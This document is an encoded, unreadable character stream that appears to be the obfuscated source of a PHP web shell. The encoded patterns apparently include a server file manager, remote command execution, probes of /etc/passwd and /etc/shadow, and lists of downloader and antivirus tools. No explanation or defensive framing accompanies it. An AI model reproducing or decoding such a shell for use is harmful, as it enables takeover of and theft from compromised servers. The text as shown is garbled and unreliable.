L<;\PX_ECY^GTCJSPRZVC^D_UR^]^CTTTL<;] JSPRZVC^D_UR^]^CL<;]JSPRZVC^D_UR^]^CL<;ACTJW^_EWP\X]Hr^DCXTC|^_^BAPRT
L<;BEH]T<;BRCXAE<;GPCRnYE\]BATRXP]RYPCBv}~sp}bjRFUl
<;GPCPnYE\]BATRXP]RYPCBqna~bejPl<;GPCRYPCBTEnYE\]BATRXP]RYPCBqna~bejRYPCBTEl
<;GPCA nBECA^Bqna~bejA lm_WP]BTYE\]BATRXP]RYPCBna~bejA lten`d~etb
<;GPCAnBECA^Bqna~bejAlm_WP]BTYE\]BATRXP]RYPCBna~bejAlten`d~etb
<;GPCAnBECA^Bqna~bejAlm_WP]BTYE\]BATRXP]RYPCBna~bejAlten`d~etb
<;GPCUU^RD\T_E
<;8WD_REX^_BTEPRA AARYPCBTEJ<;88XWP_D]]U\WPGP]DTP
T]BTU\WPGP]DTPn
<;88XWR_D]]U\WRGP]DTR
T]BTU\WRGP]DTRn
<;88XWA _D]]U\WA GP]DTA 
T]BTU\WA GP]DTA n
<;88XWA_D]]U\WAGP]DTA
T]BTU\WAGP]DTAn
<;88XWA_D]]U\WAGP]DTA
T]BTU\WAGP]DTAn
<;88XWRYPCBTE_D]]U\WRYPCBTEGP]DTRYPCBTE
T]BTU\WRYPCBTEGP]DTRYPCBTEn
<;8L<;8WD_REX^_VPRA AARYPCBTEJ<;88BTEPRA AARYPCBTE
<;88U\WBDS\XE
<;8L<;8WD_REX^_PPRA AARYPCBTEJ<;88BTEPRA AARYPCBTE
<;88GPCAPCP\BP[PIECDT
<;88W^CX
XU\WT]T\T_EB]T_VEY
X<;888APCP\BU\WT]T\T_EBjXl_P\TT_R^UTdcxr^\A^_T_EU\WT]T\T_EBjXlGP]DT
<;88BCPUUB]PBYTBnbtcgtcjct`dtbendcxlAPCP\B
<;8L<;8WD_REX^_BCDC]APCP\BJ<;88XWFX_U^Fi|}yEEAcT@DTBE<;888CT@_TFi|}yEEAcT@DTBE
<;88T]BTXWFX_U^FpREXGTi~S[TRE<;888CT@_TFpREXGTi~S[TRE|XRC^B^WEi|}yeea
<;XWCT@J<;CT@^_CTPUHBEPETRYP_VTAC^RTBBcT@rYP_VT
<;CT@^AT_a~beDC]ECDT
<;CT@BTEcT@DTBEyTPUTCr^_ET_EeHATPAA]XRPEX^_IFFFW^C\DC]T_R^UTU
<;CT@BT_UAPCP\B
<;L<;8L<;8WD_REX^_AC^RTBBcT@rYP_VTJ<;88XWCT@CTPUHbEPET<;888XWCT@BEPEDBJ<;8888GPCCTV_TFcTVtIAmmmmmUjmmmmbmmmmBlm\
<;8888GPCPCCCTVTITRCT@CTBA^_BTeTIE
<;8888TGP]PCCjlBDSBECPCCj l
<;888LT]BTP]TCEcT@DTBETCC^C
<;8L<;BRCXAE<;YTPUS^UHUXGBEH]TA^BXEX^_PSB^]DET
FXUEY 
SPRZVC^D_UR^]^C
E^A
]TWE
<;W^C\\TEY^UA^BE_P\T\WBEH]TUXBA]PH_^_T
<;X_ADEEHATYXUUT__P\TP<;X_ADEEHATYXUUT__P\TR<;X_ADEEHATYXUUT__P\TA <;X_ADEEHATYXUUT__P\TA<;X_ADEEHATYXUUT__P\TA<;X_ADEEHATYXUUT__P\TRYPCBTE<;W^C\
<;WCTTbAPRTqUXBZWCTTBAPRTv}~sp}bjRFUl
<;E^EP]bAPRTqUXBZnE^EP]nBAPRTv}~sp}bjRFUl
<;E^EP]bAPRTE^EP]bAPRTE^EP]bAPRT 
<;CT]TPBTqAYAnD_P\TC
<;ZTC_T]qAYAnD_P\TB
<;TIA]X_ZYEEATIA]^XEUSR^\BTPCRYPREX^_BTPCRYWX]ETCnUTBRCXAEX^_
<;XWBECA^B}X_DIZTC_T]WP]BT<;TIA]X_ZDC]T_R^UT}X_DIzTC_T]BDSBECCT]TPBT
<;T]BT<;TIA]X_ZDC]T_R^UTZTC_T]BDSBECCT]TPBT
<;XWWD_REX^_nTIXBEBA^BXInVTETVXUJ<;DBTCqVTEnRDCCT_EnDBTC
<;DXUqVTE\HDXU
<;VXUqVTE\HVXU
<;VC^DA
<;LT]BTJ<;DXUqA^BXInVTEAFDXUA^BXInVTETDXU
<;VXUqA^BXInVTEVCVXUA^BXInVTETVXU
<;DBTCDXUj_P\Tl
<;DXUDXUjDXUl
<;VC^DAVXUj_P\Tl
<;VXUVXUjVXUl
<;L<;<;RFUn]X_ZB
<;APEYTIA]^UTv}~sp}bjRFUl
<;_R^D_EAPEY
<;W^CX
X_ 
XJ<;RFUn]X_ZBPYCTW^_R]XRZVmwX]TB|P_mm
<;W^C[
[X
[<;RFUn]X_ZBAPEYj[l
<;RFUn]X_ZBmAPEYjXlP
<;L<;<;RYPCBTEBPCCPHdew	fX_U^FB  z~x	cz~x	dRA	
<;^AEnRYPCBTEB
<;W^CTPRYRYPCBTEBPBXET\<;^AEnRYPCBTEB^AEX^_GP]DTXET\na~bejRYPCBTElXET\BT]TRETUXET\^AEX^_
<;<;\PCCPHbTRx_W^bTRx_W^wX]TBwX]TB|P_r^_B^]Tr^_B^]Tb@]b@]aYAaYAbECX_VE^^]BbECX_Ve^^]BsCDETW^CRTsCDETW^CRTTEF^CZTEF^CZ
<;XWT\AEHv}~sp}bjPDEYnAPBBl<;\j}^V^DEl}^V^DE
<;\jbT]WCT\^GTlbT]WcT\^GT
<;\T_D
<;W^CTPRY\PBZG<;\T_DEYFXUEYX_E R^D_E\jPYCTW^_R]XRZVmGm_D]]mmmmmmZPlEY
<;<;UCXGTB
<;XWv}~sp}bj^BlFX_J<;W^CTPRYCP_VTRKPBUCXGT<;XWXBnUXCUCXGTmm<;UCXGTBPYCTW^_R]XRZVmwX]TB|P_mmUCXGTmjUCXGTlP
<;L<;TRY^EPS]TR]PBBX_W^RT]]APUUX_VRT]]BAPRX_VFXUEY ECEUFXUEY BAP_d_P\TSCdBTCSCaYASCyUUSCrFUv}~sp}bj^BlFX_SCuCXGTBBAP_EU<;EU_^SCBDSBECqAYAnD_P\T PYCTWTIA]X_ZEPCVTEnS]P_ZjTIA]^XEUSR^\lP_^SCSCDXUDBTCBAP_vC^DABAP_VXUVC^DASCqAYAGTCBX^_BAP_bPWT\^UTBAP_v}~sp}bjBPWTn\^UTlW^_ER^]^CCTU~W^_EW^_ER^]^CVCTT_S~wwSW^_E<;PYCTW^_R]XRZVmaYAm_D]]mmmX_W^mjAYAX_W^lPBAP_uPETEX\TBAP_UPETh\UyXBSCFB^gXTFbXKTE^EP]bAPRTBAP_wCTTBAP_FB^gXTFbXKTWCTTbAPRTX_EWCTTbAPRTE^EP]bAPRT SCRFUn]X_ZBFB^aTC\Br^]^Cv}~sp}bjRFUlPYCTW^_R]XRZVmwX]TB|P_mmv}~sp}bjY^\TnRFUlmmmmmmmjY^\TlPSCUCXGTBEU<;EUFXUEY P]XV_CXVYE_^SCBT]TRE^_RYP_VTV_D]]_D]]_D]]_D]]_D]]EYXBGP]DT^AEVC^DA]PST]aPVTRYPCBTE^AEnRYPCBTEB^AEVC^DABT]TRESCBAP_bTCGTCxaBAP_SCqnbtcgtcjbtcgtcnpuuclSCBAP_r]XT_ExaBAP_SCnbtcgtcjct|~etnpuucl_^SCEUECEPS]T<;EPS]TBEH]TS^CUTCE^AAIB^]XU
RT]]APUUX_VRT]]BAPRX_VFXUEY EC\T_DECEPS]TUXGBEH]T\PCVX_
<;L<;<;WD_REX^_FB^w^^ETCJ<;XBnFCXEPS]TXBnFCXEPS]Tv}~sp}bjRFUlW^_ER^]^CVCTT_fCXETPS]TW^_EW^_ER^]^CCTU^EFCXEPS]TW^_E
<;TRY^<;UXG<;EPS]TR]PBBX_W^XUE^^]BeS]RT]]APUUX_VRT]]BAPRX_VFXUEY BEH]TS^CUTCE^AAIB^]XU
S^CUTCS^EE^\AIB^]XU
<;8EC<;88EUW^C\^_BDS\XEV_D]]EYXBRGP]DTmm
CTEDC_WP]BT
BAP_rYP_VTUXCBAP_SCX_ADER]PBBE^^]Bx_AEHATETIE_P\TRGP]DTYE\]BATRXP]RYPCBv}~sp}bjRFUlX_ADEEHATBDS\XEGP]DTW^C\EU<;88EUW^C\^_BDS\XEmVwX]TBe^^]B_D]]EYXBWGP]DT
CTEDC_WP]BT
mBAP_cTPUWX]TBAP_SCX_ADER]PBBE^^]Bx_AEHATETIE_P\TWX_ADEEHATBDS\XEGP]DTW^C\EU<;8ECEC<;88EUW^C\^_BDS\XEmVwX]TB|P__D]]\ZUXCEYXBUGP]DT
CTEDC_WP]BT
mBAP_|PZTUXCBAP_XBnFCXEPS]TSCX_ADER]PBBE^^]Bx_AEHATETIE_P\TUX_ADEEHATBDS\XEGP]DTW^C\EU<;88EUW^C\^_BDS\XEmVwX]TBe^^]B_D]]EYXBWGP]DT\ZWX]T
CTEDC_WP]BT
mBAP_|PZTWX]TBAP_XBnFCXEPS]TSCX_ADER]PBBE^^]Bx_AEHATETIE_P\TWX_ADEEHATBDS\XEGP]DTW^C\EU<;8ECEC<;88EUW^C\^_BDS\XEmVr^_B^]T_D]]EYXBRGP]DT
CTEDC_WP]BT
mBAP_tITRDETBAP_SCX_ADER]PBBE^^]Bx_AEHATETIE_P\TRGP]DTX_ADEEHATBDS\XEGP]DTW^C\EU<;88EUW^C\\TEY^UA^BEtrehat\D]EXAPCEW^C\UPEP<;88X_ADEEHATYXUUT__P\TPGP]DTwX]TB|p_<;88X_ADEEHATYXUUT__P\TRGP]DTv}~sp}bjRFUl<;88X_ADEEHATYXUUT__P\TA GP]DTDA]^PUwX]T<;88X_ADEEHATYXUUT__P\TRYPCBTEGP]DTXBBTEna~bejRYPCBTElna~bejRYPCBTEl<;88BAP_dA]^PUWX]TBAP_XBnFCXEPS]TSCX_ADER]PBBE^^]Bx_AEHATWX]T_P\TWX_ADEEHATBDS\XEGP]DTW^C\SCEU<;8ECEPS]TUXGS^UHYE\]
<;L<;<;XWWD_REX^_nTIXBEBA^BXInVTEAFDXUBECA^Bv}~sp}bjUXBPS]TnWD_REX^_BlA^BXInVTEAFDXUWP]BTJ<;WD_REX^_A^BXInVTEAFDXUAJCTEDC_WP]BT
LL<;XWWD_REX^_nTIXBEBA^BXInVTEVCVXUBECA^Bv}~sp}bjUXBPS]TnWD_REX^_BlA^BXInVTEVCVXUWP]BTJ<;WD_REX^_A^BXInVTEVCVXUAJCTEDC_WP]BT
LL<;<;WD_REX^_FB^tIX_J<;^DE
<;XWWD_REX^_nTIXBEBTITRJ<;qTITRX_^DE
<;^DEq[^X_m_^DE
<;LT]BTXWWD_REX^_nTIXBEBAPBBEYCDJ<;^SnBEPCE
<;qAPBBEYCDX_
<;^DE^SnVTEnR]TP_
<;LT]BTXWWD_REX^_nTIXBEBBHBET\J<;^SnBEPCE
<;qBHBET\X_
<;^DE^SnVTEnR]TP_
<;LT]BTXWWD_REX^_nTIXBEBBYT]]nTITRJ<;^DEBYT]]nTITRX_
<;LT]BTXWXBnCTB^DCRTWqA^AT_X_CJ<;^DE
<;FYX]TqWT^WW<;^DEWCTPUW 
<;AR]^BTW
<;L<;CTEDC_^DE
<;L<;<;WD_REX^_FB^gXTFbXKTBJ<;XWXBnX_EB<;BBACX_EWDB
<;<;XWB  	<;CTEDC_BACX_EW WB  	vs
<;T]BTXWB 	<;CTEDC_BACX_EW WB 	|s
<;T]BTXWB <;CTEDC_BACX_EW WB zs
<;T]BT<;CTEDC_Bs
<;L<;<;WD_REX^_FB^aTC\BAJ<;XWAIrIrXB
<;T]BTXWAIpIpX]
<;T]BTXWAI	I	X
<;T]BTXWAIIXS
<;T]BTXWAIIXU
<;T]BTXWAIIXR
<;T]BTXWAI I XA
<;T]BTXD
<;XAI C
<;XAI	F
<;XAIAI	BIAI	b
<;XAIC
<;XAI F
<;XAI	AIBIAIb
<;XAIC
<;XAIF
<;XAI AIEIAIe
<;CTEDC_X
<;L<;<;WD_REX^_FB^aTC\Br^]^CWJ<;XWqXBnCTPUPS]TW<;CTEDC_W^_ER^]^CwwFB^aTC\BqWX]TATC\BWW^_E
<;T]BTXWqXBnFCXEPS]TW<;CTEDC_W^_ER^]^CFYXETFB^aTC\BqWX]TATC\BWW^_E
<;T]BT<;CTEDC_W^_ER^]^CWWFB^aTC\BqWX]TATC\BWW^_E
<;L<;<;WD_REX^_FB^bRP_UXCUXCJ<;XWWD_REX^_nTIXBEBBRP_UXCJ<;CTEDC_BRP_UXCUXC
<;LT]BTJ<;UY^AT_UXCUXC
<;FYX]TWP]BTWX]T_P\TCTPUUXCUY<;WX]TBjlWX]T_P\T
<;CTEDC_WX]TB
<;L<;L<;<;WD_REX^_FB^fYXRYAJ<;APEYFB^tIFYXRYA
<;XWT\AEHAPEY<;CTEDC_APEY
<;CTEDC_WP]BT
<;L<;<;WD_REX^_PREX^_bTRx_W^J<;FB^yTPUTC
<;TRY^Y bTCGTCBTRDCXEHX_W^C\PEX^_Y UXGR]PBBR^_ET_E
<;WD_REX^_FB^bTRaPCP\_GJ<;GECX\G
<;XWGJ<;TRY^BAP__BAP_
<;XWBECA^BGm_WP]BT<;TRY^GSC
<;T]BT<;TRY^ACTR]PBB\] GACT
<;L<;L<;<;FB^bTRaPCP\bTCGTCB^WEFPCTqVTET_Gbtcgtcnb~wefpct
<;XWWD_REX^_nTIXBEBPAPRYTnVTEn\^UD]TB<;FB^bTRaPCP\}^PUTUpAPRYT\^UD]TBX\A]^UTPAPRYTnVTEn\^UD]TB
<;FB^bTRaPCP\uXBPS]TUayawD_REX^_Bv}~sp}bjUXBPS]TnWD_REX^_Blv}~sp}bjUXBPS]TnWD_REX^_Bl_^_T
<;FB^bTRaPCP\~AT_SPBTUXCqX_XnVTE^AT_nSPBTUXC
<;FB^bTRaPCP\bPWT\^UTTITRUXCqX_XnVTEBPWTn\^UTnTITRnUXC
<;FB^bTRaPCP\bPWT\^UTX_R]DUTUXCqX_XnVTEBPWTn\^UTnX_R]DUTnUXC
<;FB^bTRaPCP\Rdc}BDAA^CEWD_REX^_nTIXBEBRDC]nGTCBX^_T_PS]TU_^
<;ET\APCCPH
<;XWWD_REX^_nTIXBEB\HB@]nVTEnR]XT_EnX_W^<;ET\Ajl|Hb@]\HB@]nVTEnR]XT_EnX_W^
<;XWWD_REX^_nTIXBEB\BB@]nR^__TRE<;ET\Ajl|bb`}
<;XWWD_REX^_nTIXBEBAVnR^__TRE<;ET\Ajla^BEVCTb`}
<;XWWD_REX^_nTIXBEB^RXnR^__TRE<;ET\Ajl~CPR]T
<;FB^bTRaPCP\bDAA^CETUUPEPSPBTBX\A]^UTET\A
<;TRY^SC
<;<;XWv}~sp}bj^Bl_XIJ<;FB^bTRaPCP\cTPUPS]TTERAPBBFUqXBnCTPUPS]TTERAPBBFUHTBPYCTW^_R]XRZVmwX]TBe^^]BmmTERmmAPBBFUmjGXTFlP_^
<;FB^bTRaPCP\cTPUPS]TTERBYPU^FqXBnCTPUPS]TTERBYPU^FHTBPYCTW^_R]XRZVmwX]TBe^^]BmmTERmmBYPU^FmjGXTFlP_^
<;FB^bTRaPCP\~bGTCBX^_qWX]TnVTEnR^_ET_EBAC^RGTCBX^_
<;FB^bTRaPCP\uXBEC_P\TqWX]TnVTEnR^_ET_EBTERXBBDT_TE
<;XWv}~sp}bjBPWTn\^UTlJ<;DBTCWD]PCCPHVRR]RRRR]U\PZTAYAATC]AHEY^_CDSHEPCVKXASKXASKXA_R]^RPETBDXUATC]
<;UP_VTCPCCPHZPG_^USUR^CTUDGBRP_BPGUCFTSUR]P\UCZYD_ETCRYZC^^EZXEXAEPS]TBXAWFECXAFXCTBYXT]URRA^CEBT_ECHB_^CE^BBTR]XUBPU\ERA]^UVBIXU]^VRYTRZ]^VFPERYBHB\PBZK\SBRPABPF\X]]F^C\BRP__X_[P
<;U^F_]^PUTCBPCCPHFVTEWTERY]H_I]X_ZBRDC]VTE]FA\XCC^C
<;TRY^SC
<;ET\APCCPH
<;W^CTPRYDBTCWD]PBXET\<;XWFB^fYXRYXET\<;ET\AjlXET\
<;FB^bTRaPCP\dBTCWD]X\A]^UTET\A
<;ET\APCCPH
<;W^CTPRYUP_VTCPBXET\<;XWFB^fYXRYXET\<;ET\AjlXET\
<;FB^bTRaPCP\uP_VTCX\A]^UTET\A
<;ET\APCCPH
<;W^CTPRYU^F_]^PUTCBPBXET\<;XWFB^fYXRYXET\<;ET\AjlXET\
<;FB^bTRaPCP\u^F_]^PUTCBX\A]^UTET\A
<;TRY^SC
<;FB^bTRaPCP\yuuBAPRTFB^tIUWY
<;FB^bTRaPCP\y^BEBqWX]TnVTEnR^_ET_EBTERY^BEB
<;TRY^SCBAP_A^BXInVTEAFDXUcTPUTERAPBBFUBAP_EPS]TW^C\^_BDS\XEmV_D]]_D]]EYXBAPCP\ GP]DTEYXBAPCP\GP]DT
CTEDC_WP]BT
mECEUwC^\EUEUX_ADEEHATETIE_P\TAPCP\ GP]DTEUECECEUe^EUEUX_ADEEHATETIE_P\TAPCP\GP]DT EUECEPS]TX_ADEEHATBDS\XEGP]DTW^C\
<;XWXBBTEna~bejAlna~bejAlXBn_D\TCXRna~bejAlXBn_D\TCXRna~bejAlJ<;ET\A
<;W^C
na~bejAlna~bejAl
na~bejAlJ<;DXUqA^BXInVTEAFDXUna~bejAl
<;XWDXU<;ET\A[^X_DXUm_
<;L<;TRY^SC
<;FB^bTRaPCP\dBTCBET\A
<;L<;L<;LT]BTJ<;FB^bTRaPCP\~bgTCBX^_FB^tIGTC
<;FB^bTRaPCP\pRR^D_EbTEEX_VBFB^tI_TEPRR^D_EB
<;FB^bTRaPCP\dBTCpRR^D_EBFB^tI_TEDBTC
<;L<;TRY^UXG
<;FB^w^^ETC
<;L<;<;WD_REX^_PREX^_aYAJ<;XWXBBTEna~bejP[PIlJ<;fb~BTER^^ZXT\Unbtcgtcjyeeany~belP[PIECDT
<;^SnBEPCE
<;TGP]na~bejA l
<;ET\AU^RD\T_EVTEt]T\T_EsHxUaYA~DEADEBEH]TUXBA]PH
U^RD\T_EVTEt]T\T_EsHxUaYA~DEADEX__TCye|}PUURB]PBYTBYE\]BATRXP]RYPCB^SnVTEnR]TP_m_mCmEmmm
m_
<;TRY^BEC]T_ET\Am_ET\A
<;TIXE
<;L<;XWT\AEHna~bejP[PIlT\AEHna~bejA l<;fb~BTER^^ZXT\Unbtcgtcjyeeany~belP[PI
<;<;FB^yTPUTC
<;XWXBBTEna~bejAlna~bejAlX_W^J<;TRY^Y ayaX_W^Y UXGR]PBBR^_ET_EBEH]TAJR^]^C
LBEH]T
<;^SnBEPCE
<;AYAX_W^
<;E\A^SnVTEnR]TP_
<;E\AACTVnCTA]PRTPCCPH<;S^UHMPmFMS^UHEUEYY YJL\BXd<;EUEYJL\BXd<;X\Vjol\BXd<;PCCPH<;<;TGYYEYJ L<;<;E\A
<;TRY^BECnCTA]PRTY YE\AUXGSC
<;L<;TRY^Y tITRDEX^_ayaR^UTY UXGR]PBBR^_ET_EW^C\_P\TAW\TEY^UA^BE^_BDS\XEXWEYXBP[PIRYTRZTUJPmaYAm_D]]EYXBR^UTGP]DT
LT]BTJVmaYAm_D]]EYXBR^UTGP]DTmm
LCTEDC_WP]BT
ETIEPCTP_P\TR^UTR]PBBSXVPCTPXUaYAr^UTT\AEHna~bejA lYE\]BATRXP]RYPCBna~bejA lETIEPCTPX_ADEEHATBDS\XEGP]DTtGP]BEH]T\PCVX_E^AAI
<;TRY^X_ADEEHATRYTRZS^I_P\TP[PIGP]DT nr~~zxtj\Unbtcgtcjyeeany~belP[PIlRYTRZTUBT_UDBX_Vp{piW^C\ACTXUaYA~DEADEBEH]TT\AEHna~bejA lUXBA]PH_^_T
\PCVX_E^AAI
R]PBB\] 
<;XWT\AEHna~bejA lJ<;^SnBEPCE
<;TGP]na~bejA l
<;TRY^YE\]BATRXP]RYPCB^SnVTEnR]TP_
<;L<;TRY^ACTUXG
<;FB^w^^ETC
<;L<;<;WD_REX^_PREX^_wX]TB|P_J<;<;XWT\AEHnr~~zxtjWl<;nr~~zxtjWlqD_BTCXP]XKTnr~~zxtjWl
<;<;XWT\AEHna~bejA lJ<;BFXERYna~bejA lJ<;RPBTDA]^PUwX]T<;XWq\^GTnDA]^PUTUnWX]Tnwx}tbjWljE\An_P\Tlnwx}tbjWlj_P\Tl<;TRY^rP_EDA]^PUWX]T
<;SCTPZ
<;RPBT\ZUXC<;XWq\ZUXCna~bejAl<;TRY^rP_ERCTPET_TFUXC
<;SCTPZ
<;RPBTUT]TET<;WD_REX^_UT]TETuXCAPEYJ<;APEYBDSBECAPEY APEYAPEY
<;UY^AT_UXCAPEY
<;FYX]TXET\CTPUUXCUYWP]BTJ<;XET\APEYXET\
<;XWSPBT_P\TXET\MMSPBT_P\TXET\<;R^_EX_DT
<;EHATWX]TEHATXET\
<;XWEHATUXC<;UT]TETuXCXET\
<;T]BT<;qD_]X_ZXET\
<;L<;R]^BTUXCUY
<;qC\UXCAPEY
<;L<;XWXBnPCCPHqna~bejWl<;W^CTPRYna~bejWlPBWJ<;XWW<;R^_EX_DT
<;WDC]UTR^UTW
<;XWXBnUXCW<;UT]TETuXCW
<;T]BT<;qD_]X_ZW
<;L<;SCTPZ
<;RPBTAPBET<;XWnr~~zxtjPRElR^AHJ<;WD_REX^_R^AHnAPBETRBUJ<;XWXBnUXCRBJ<;\ZUXCUB
<;Yq^AT_UXCRB
<;FYX]TWqCTPUUXCYWP]BT<;XWWP_UW<;R^AHnAPBETRBWUB
<;LT]BTXWXBnWX]TRB<;qR^AHRBUB
<;L<;W^CTPRYnr~~zxtjWlPBW<;R^AHnAPBETnr~~zxtjRlWv}~sp}bjRFUl
<;LT]BTXWnr~~zxtjPREl\^GTJ<;WD_REX^_\^GTnAPBETRBUJ<;XWXBnUXCRBJ<;\ZUXCUB
<;Yq^AT_UXCRB
<;FYX]TWqCTPUUXCYWP]BT<;XWWP_UW<;R^AHnAPBETRBWUB
<;LT]BTXWqXBnWX]TRB<;qR^AHRBUB
<;L<;W^CTPRYnr~~zxtjWlPBW<;qCT_P\Tnr~~zxtjRlWv}~sp}bjRFUlW
<;LT]BTXWnr~~zxtjPRElKXAJ<;XWR]PBBnTIXBEBkXApCRYXGTJ<;KXA_TFkXApCRYXGT
<;XWKXA^AT_na~bejAl J<;RYUXCnr~~zxtjRl
<;W^CTPRYnr~~zxtjWlPBWJ<;XWW<;R^_EX_DT
<;XWqXBnWX]Tnr~~zxtjRlW<;KXAPUUwX]Tnr~~zxtjRlWW
<;T]BTXWqXBnUXCnr~~zxtjRlWJ<;XETCPE^C_TFcTRDCBXGTxETCPE^CxETCPE^C_TFcTRDCBXGTuXCTRE^CHxETCPE^CWwX]TBHBET\xETCPE^Cbzxanu~eb
<;W^CTPRYXETCPE^CPBZTHGP]DTJ<;KXAPUUwX]TCTP]APEYZTHZTH
<;L<;L<;L<;RYUXCv}~sp}bjRFUl
<;KXAR]^BT
<;L<;L<;LT]BTXWnr~~zxtjPRElD_KXAJ<;XWR]PBBnTIXBEBkXApCRYXGTJ<;KXA_TFkXApCRYXGT
<;W^CTPRYnr~~zxtjWlPBWJ<;XWKXA^AT_nr~~zxtjRlWJ<;KXATIECPREe^v}~sp}bjRFUl
<;KXAR]^BT
<;L<;L<;L<;LT]BTXWnr~~zxtjPRElEPCJ<;RYUXCnr~~zxtjRl
<;nr~~zxtjWlPCCPHn\PATBRPATBYT]]PCVnr~~zxtjWl
<;FB^tIEPCRWKGTBRPATBYT]]PCVna~bejAlX\A]^UTnr~~zxtjWl
<;RYUXCv}~sp}bjRFUl
<;L<;D_BTEnr~~zxtjWl
<;BTER^^ZXTWEX\T
<;SCTPZ
<;UTWPD]E<;XWT\AEHna~bejA lJ<;fb~BTER^^ZXTPREna~bejA l
<;fb~BTER^^ZXTWBTCXP]XKTqna~bejWl
<;fb~BTER^^ZXTRqna~bejRl
<;L<;SCTPZ
<;L<;L<;FB^yTPUTC
<;TRY^Y wX]T\P_PVTCY UXGR]PBBR^_ET_EBRCXAEA nAnAn
BRCXAE
<;UXCr^_ET_EFB^bRP_UXCXBBTEna~bejRlna~bejRlv}~sp}bjRFUl
<;XWUXCr^_ET_EWP]BTJ8TRY^rP_mE^AT_EYXBW^]UTC
FB^w^^ETC
CTEDC_
L<;V]^SP]B^CE
<;B^CEPCCPH_P\T 
<;XWT\AEHna~bejA lJ<;XWACTVn\PERYBnjpKlnmUJ Lna~bejA l\PERY<;B^CEPCCPH\PERYj lX_E\PERYjl
<;L<;TRY^BRCXAE<;8WD_REX^_BPJ<;88W^CX
XUWX]TBT]T\T_EB]T_VEY
X<;888XWUWX]TBT]T\T_EBjXlEHATRYTRZS^I<;8888UWX]TBT]T\T_EBjXlRYTRZTUUWX]TBT]T\T_EBjlRYTRZTU
<;8L<;BRCXAE<;EPS]TFXUEY R]PBB\PX_RT]]BAPRX_VRT]]APUUX_V<;W^C\_P\TWX]TB\TEY^UA^BEECEYFXUEY AIX_ADEEHATRYTRZS^I^_R]XRZBPR]PBBRYZSIEYEYPYCTW^_R]XRZVmwX]TB|P_m_D]]mBn_P\TnB^CEj l mP\TPEYEYPYCTW^_R]XRZVmwX]TB|P_m_D]]mBnBXKTnB^CEj l mbXKTPEYEYPYCTW^_R]XRZVmwX]TB|P_m_D]]mBn\^UXWHnB^CEj l m|^UXWHPEYEY~F_TCvC^DAEYEYPYCTW^_R]XRZVmwX]TB|P_m_D]]mBnATC\BnB^CEj l maTC\XBBX^_BPEYEYpREX^_BEYEC
<;UXCBWX]TBPCCPH
<;_R^D_EUXCr^_ET_E
<;W^CX
X_
XJ<;^FqA^BXInVTEAFDXUqWX]T^F_TCUXCr^_ET_EjXl
<;VCqA^BXInVTEVCVXUqWX]TVC^DAUXCr^_ET_EjXl
<;E\APCCPH_P\TUXCr^_ET_EjXl<;APEYv}~sp}bjRFUlUXCr^_ET_EjXl<;\^UXWHUPETh\UyXBqWX]T\EX\Tv}~sp}bjRFUlUXCr^_ET_EjXl<;ATC\BFB^aTC\Br^]^Cv}~sp}bjRFUlUXCr^_ET_EjXl<;BXKTqWX]TBXKTv}~sp}bjRFUlUXCr^_ET_EjXl<;^F_TC^Fj_P\Tl^Fj_P\TlqWX]T^F_TCUXCr^_ET_EjXl<;VC^DAVCj_P\TlVCj_P\TlqWX]TVC^DAUXCr^_ET_EjXl<;
<;XWqXBnWX]Tv}~sp}bjRFUlUXCr^_ET_EjXl<;WX]TBjlPCCPHn\TCVTE\APCCPHEHATWX]T
<;T]BTXWqXBn]X_Zv}~sp}bjRFUlUXCr^_ET_EjXl<;UXCBjlPCCPHn\TCVTE\APCCPHEHAT]X_Z]X_ZCTPU]X_ZE\AjAPEYl
<;T]BTXWqXBnUXCv}~sp}bjRFUlUXCr^_ET_EjXl<;UXCBjlPCCPHn\TCVTE\APCCPHEHATUXC
<;L<;v}~sp}bjB^CElB^CE
<;WD_REX^_FB^r\APSJ<;XWv}~sp}bjB^CEljlBXKT<;CTEDC_BECR\ABECE^]^FTCPjv}~sp}bjB^CEljllBECE^]^FTCSjv}~sp}bjB^CEljllv}~sp}bjB^CElj l  
<;T]BT<;CTEDC_PjBXKTlSjBXKTl  v}~sp}bjB^CElj l  
<;L<;DB^CEWX]TBFB^r\A
<;DB^CEUXCBFB^r\A
<;WX]TBPCCPHn\TCVTUXCBWX]TB
<;]
<;W^CTPRYWX]TBPBWJ<;TRY^EC]R]PBB] EUX_ADEEHATRYTRZS^I_P\TWjlGP]DTDC]T_R^UTWj_P\TlR]PBBRYZSIEUEUPYCTW^_R]XRZWjEHATlWX]TVmwX]TBe^^]Bm_D]]mDC]T_R^UTWj_P\TlmmGXTFmYE\]BATRXP]RYPCBWj_P\TlVmwX]TB|P_mmWjAPEYlm
T\AEHWj]X_ZlEXE]TJWj]X_ZlLSjYE\]BATRXP]RYPCBWj_P\TllSPEUEUWjEHATlWX]TFB^gXTFbXKTWjBXKTlWjEHATlEUEUWj\^UXWHlEUEUWj^F_TClWjVC^DAlEUEUPYCTW^_R]XRZVmwX]TBe^^]Bm_D]]mDC]T_R^UTWj_P\TlmmRY\^UmWjATC\Bl<;EUEUPYCTW^_R]XRZVmwX]TBe^^]Bm_D]]mDC]T_R^UTWj_P\TlmmCT_P\TmcPPYCTW^_R]XRZVmwX]TBe^^]Bm_D]]mDC]T_R^UTWj_P\TlmmE^DRYmePWjEHATlWX]TPYCTW^_R]XRZVmwX]TBe^^]Bm_D]]mDC]T_R^UTWj_P\TlmmTUXEmtPPYCTW^_R]XRZVmwX]TBe^^]Bm_D]]mDC]T_R^UTWj_P\TlmmU^F_]^PUmuPEUEC
<;]] 
<;L<;TRY^ECEUR^]BAP_<;8X_ADEEHATYXUUT__P\TPGP]DTwX]TB|P_<;8X_ADEEHATYXUUT__P\TRGP]DTYE\]BATRXP]RYPCBv}~sp}bjRFUl<;8X_ADEEHATYXUUT__P\TRYPCBTEGP]DTXBBTEna~bejRYPCBTElna~bejRYPCBTEl<;8BT]TRE_P\TA ^AEX^_GP]DTR^AHr^AH^AEX^_^AEX^_GP]DT\^GT|^GT^AEX^_^AEX^_GP]DTUT]TETuT]TET^AEX^_
<;XWR]PBBnTIXBEBkXApCRYXGT<;TRY^^AEX^_GP]DTKXAr^\ACTBBKXA^AEX^_^AEX^_GP]DTD_KXAd_R^\ACTBBKXA^AEX^_
<;TRY^^AEX^_GP]DTEPCr^\ACTBBEPCVK^AEX^_
<;XWT\AEHnr~~zxtjPRElqR^D_Enr~~zxtjWl<;TRY^^AEX^_GP]DTAPBETaPBETr^\ACTBB^AEX^_
<;TRY^BT]TRE_SBA

